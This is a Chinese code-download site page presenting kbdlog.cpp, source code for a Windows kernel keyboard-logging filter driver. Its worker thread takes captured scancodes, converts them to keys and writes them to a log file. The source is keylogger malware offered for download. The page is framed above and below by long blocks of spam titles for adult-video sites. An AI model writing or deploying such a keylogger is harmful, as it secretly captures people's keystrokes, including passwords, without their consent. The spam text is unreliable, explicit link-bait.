亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? kbdlog.cpp

?? 鍵盤記錄過濾驅動程序
?? CPP
字號:
extern "C"
{
	#include "ntddk.h"
}

#include "ntddkbd.h"
#include "Klog.h"
#include "KbdLog.h"
#include "KbdHook.h"
#include "ScanCode.h"

//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject)
{

	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension; 
	
	//Set the worker thread to running state in device extension
	pKeyboardDeviceExtension->bThreadTerminate = false;

	//Create the worker thread
	HANDLE hThread; 
	NTSTATUS status	= PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadKeyLogger,
						pKeyboardDeviceExtension);

	if(!NT_SUCCESS(status))
		return status;

	DbgPrint("Key logger thread created...\n");
	
	//Obtain a pointer to the thread object
	ObReferenceObjectByHandle(hThread,THREAD_ALL_ACCESS,NULL,KernelMode, 
		(PVOID*)&pKeyboardDeviceExtension->pThreadObj, NULL);

	DbgPrint("Key logger thread initialized; pThreadObject =  %x\n",
		&pKeyboardDeviceExtension->pThreadObj);
	
	//We don't need the thread handle
	ZwClose(hThread);
	
	return status;
}

//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
VOID ThreadKeyLogger(IN PVOID pContext)
{

	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
	PDEVICE_OBJECT pKeyboardDeviceOjbect = pKeyboardDeviceExtension->pKeyboardDevice;

	PLIST_ENTRY pListEntry;
	KEY_DATA* kData; //custom data structure used to hold scancodes in the linked list

	//Enter the main processing loop... This is where we will process the scancodes sent
	//to us by the completion routine.
	while(true)
	{
		// Wait for data to become available in the queue 
		KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);	

		pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
												&pKeyboardDeviceExtension->lockQueue);
		
		//////////////////////////////////////////////////////////////////////
		// NOTE: Kernel system threads must terminate themselves. They cannot
		// be terminated from outside the thread. If the driver is being 
		// unloaded, therefore the thread must terminate itself. To do this
		// we use a global variable stored in the Device Extension. 
		// When the unload routine wishes to termiate, it will set this 
		// flag equal to true and then block on the thread object. When
		// the thread checks this variable and terminates itself, the
		// Unload routine will be unblocked and able to continue its 
		// operations.
		//////////////////////////////////////////////////////////////////////
		if(pKeyboardDeviceExtension->bThreadTerminate == true)
		{
			PsTerminateSystemThread(STATUS_SUCCESS);
		}
		
		///////////////////////////////////////////////////////////////////////
		// NOTE: the structure contained in the list cannot be accessed directly. 
		// CONTAINING_RECORD returns a pointer to the beginning of the data structure
		// that was inserted into the list.
		////////////////////////////////////////////////////////////////////////
		kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);

		//Convert the scan code to a key code
		char keys[3] = {0};
		ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);

		//make sure the key has retuned a valid code before writing it to the file
		if(keys != 0)
		{
			//write the data out to a file 
			if(pKeyboardDeviceExtension->hLogFile != NULL) //make sure our file handle is valid
			{	
				IO_STATUS_BLOCK io_status;
				DbgPrint("Writing scan code to file...\n");
			    
				NTSTATUS status = ZwWriteFile(pKeyboardDeviceExtension->hLogFile,NULL,NULL,NULL,
					&io_status,&keys,strlen(keys),NULL,NULL);

				if(status != STATUS_SUCCESS)
						DbgPrint("Writing scan code to file...\n");
				else
					DbgPrint("Scan code '%s' successfully written to file.\n",keys);
			}//end if
		}//end if	
	}//end while
	return;
}//end ThreadLogKeyboard

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产高清在线精品| 精品久久久久久久久久久久包黑料 | 亚洲丝袜精品丝袜在线| 日日噜噜夜夜狠狠视频欧美人| 精品在线免费视频| 欧美日韩一区二区三区在线看| 精品国产一区二区三区久久影院| 亚洲欧美另类在线| 风间由美一区二区三区在线观看 | 精品欧美一区二区久久 | 成人黄色a**站在线观看| 91精品国产欧美一区二区| 亚洲欧美日韩中文播放 | 久久爱另类一区二区小说| 欧美视频一区二| 亚洲视频在线一区二区| 国产成人自拍在线| 欧美精品一区二区三区视频| 亚洲狠狠爱一区二区三区| 91性感美女视频| 中文一区二区完整视频在线观看| 国产成人免费9x9x人网站视频| 这里是久久伊人| 亚洲黄色av一区| 欧美亚洲免费在线一区| 亚洲免费观看高清完整版在线观看熊| 国产成人鲁色资源国产91色综 | 日韩欧美资源站| 日韩经典中文字幕一区| 欧美日韩国产一级片| 日日欢夜夜爽一区| 91精品一区二区三区久久久久久| 亚洲成av人片一区二区梦乃| 欧美中文字幕一区二区三区| 一区二区三区产品免费精品久久75| 99精品视频在线观看免费| 国产精品久久久久影院| 99视频超级精品| 亚洲男同性恋视频| 欧美久久婷婷综合色| 石原莉奈一区二区三区在线观看| 欧美日韩电影在线播放| 三级久久三级久久久| 欧美精品亚洲二区| 韩国女主播成人在线观看| 久久男人中文字幕资源站| 国产福利一区二区三区视频| 中文字幕成人网| 欧洲另类一二三四区| 日韩av在线免费观看不卡| 精品国产一区二区亚洲人成毛片 | 免费成人av资源网| 久久久另类综合| 成人午夜视频网站| 亚洲国产日韩精品| 精品国产伦理网| 99re视频这里只有精品| 香蕉成人啪国产精品视频综合网| 日韩午夜激情av| 成人黄色电影在线| 爽好久久久欧美精品| 久久久久亚洲综合| 91国偷自产一区二区开放时间| 午夜视频一区二区三区| 国产清纯白嫩初高生在线观看91| 色哟哟一区二区三区| 丝袜亚洲另类丝袜在线| 欧美激情一区二区三区在线| 在线观看视频欧美| 久久久久久亚洲综合影院红桃 | 欧美一级二级在线观看| 国产精品亚洲а∨天堂免在线| 国产精品美女久久久久久久久久久| 欧美熟乱第一页| 国产91丝袜在线播放0| 亚洲国产裸拍裸体视频在线观看乱了| 精品国产一区二区三区四区四 | 国产无遮挡一区二区三区毛片日本| 91在线视频官网| 久久爱另类一区二区小说| 亚洲免费在线视频一区 二区| 日韩欧美在线一区二区三区| 91亚洲国产成人精品一区二区三 | 一区二区三区色| 国产网站一区二区| 欧美理论在线播放| 99精品桃花视频在线观看| 捆绑调教一区二区三区| 亚洲自拍偷拍综合| 国产女人18水真多18精品一级做| 日韩欧美不卡一区| 欧美日韩国产免费一区二区| 菠萝蜜视频在线观看一区| 激情久久五月天| 日本成人在线一区| 丝袜亚洲精品中文字幕一区| 最新不卡av在线| 国产日产亚洲精品系列| 26uuu国产电影一区二区| 91精品久久久久久蜜臀| 精品视频1区2区| 91激情五月电影| 91色视频在线| 91麻豆产精品久久久久久| 成人激情电影免费在线观看| 国产在线日韩欧美| 国产一区二区三区视频在线播放| 蜜臀av亚洲一区中文字幕| 石原莉奈在线亚洲二区| 亚洲狠狠爱一区二区三区| 亚洲国产裸拍裸体视频在线观看乱了| 中文字幕日韩精品一区| 中文字幕在线一区| 国产精品高清亚洲| 亚洲精品乱码久久久久久日本蜜臀| 一区二区中文视频| 亚洲久本草在线中文字幕| 一区二区免费在线播放| 一区二区三区欧美激情| 亚洲一级二级在线| 日韩精品久久久久久| 琪琪久久久久日韩精品| 麻豆精品一区二区三区| 国产在线精品免费| 国产大陆亚洲精品国产| 成人av网址在线观看| 99久久精品情趣| 欧美综合久久久| 91精品国产乱码| 久久婷婷国产综合精品青草| 欧美国产激情一区二区三区蜜月| 欧美国产成人在线| 亚洲国产欧美在线| 久久精品久久综合| 国产高清久久久| 日本福利一区二区| 99精品一区二区三区| 色综合久久99| 欧美日韩国产一级| 日韩一区二区三区在线视频| 欧美精品一区二区三区四区| 国产精品成人午夜| 亚洲二区视频在线| 国产曰批免费观看久久久| 成人激情午夜影院| 在线不卡a资源高清| 亚洲国产精品ⅴa在线观看| 亚洲精品国产一区二区精华液 | 中文成人综合网| 亚洲综合图片区| 久久成人免费电影| 91美女蜜桃在线| 欧美一区二区三区免费视频| 国产肉丝袜一区二区| 亚洲成人黄色影院| 国产成人精品综合在线观看 | 久久久激情视频| 亚洲欧美成人一区二区三区| 久久综合综合久久综合| 91偷拍与自偷拍精品| 欧美大片在线观看| 一区二区三区四区不卡在线 | 精品国产麻豆免费人成网站| 中文字幕va一区二区三区| 亚洲成人在线观看视频| 成人深夜视频在线观看| 日韩精品一区二区三区中文不卡 | 欧美日韩三级一区| 中文字幕一区二区三| 国内久久精品视频| 欧美三级日韩三级| 自拍偷拍欧美激情| 国产麻豆精品在线观看| 91精品国产入口在线| 亚洲综合999| 色综合久久99| 亚洲欧美在线另类| 国产v综合v亚洲欧| 日韩女优毛片在线| 日韩一区精品字幕| 欧美午夜片在线观看| 亚洲综合区在线| 91伊人久久大香线蕉| 久久久久综合网| 国产成人午夜片在线观看高清观看| 欧美精品一级二级| 亚洲国产你懂的| 欧美日韩精品是欧美日韩精品| 亚洲欧美色图小说| 日本高清不卡aⅴ免费网站| 日韩毛片在线免费观看| 91一区一区三区| 亚洲精品视频免费看| 色一区在线观看| 亚洲人成网站色在线观看| 99久久精品免费看| 一卡二卡三卡日韩欧美| 色噜噜狠狠成人中文综合| 亚洲欧美综合网| 在线观看区一区二|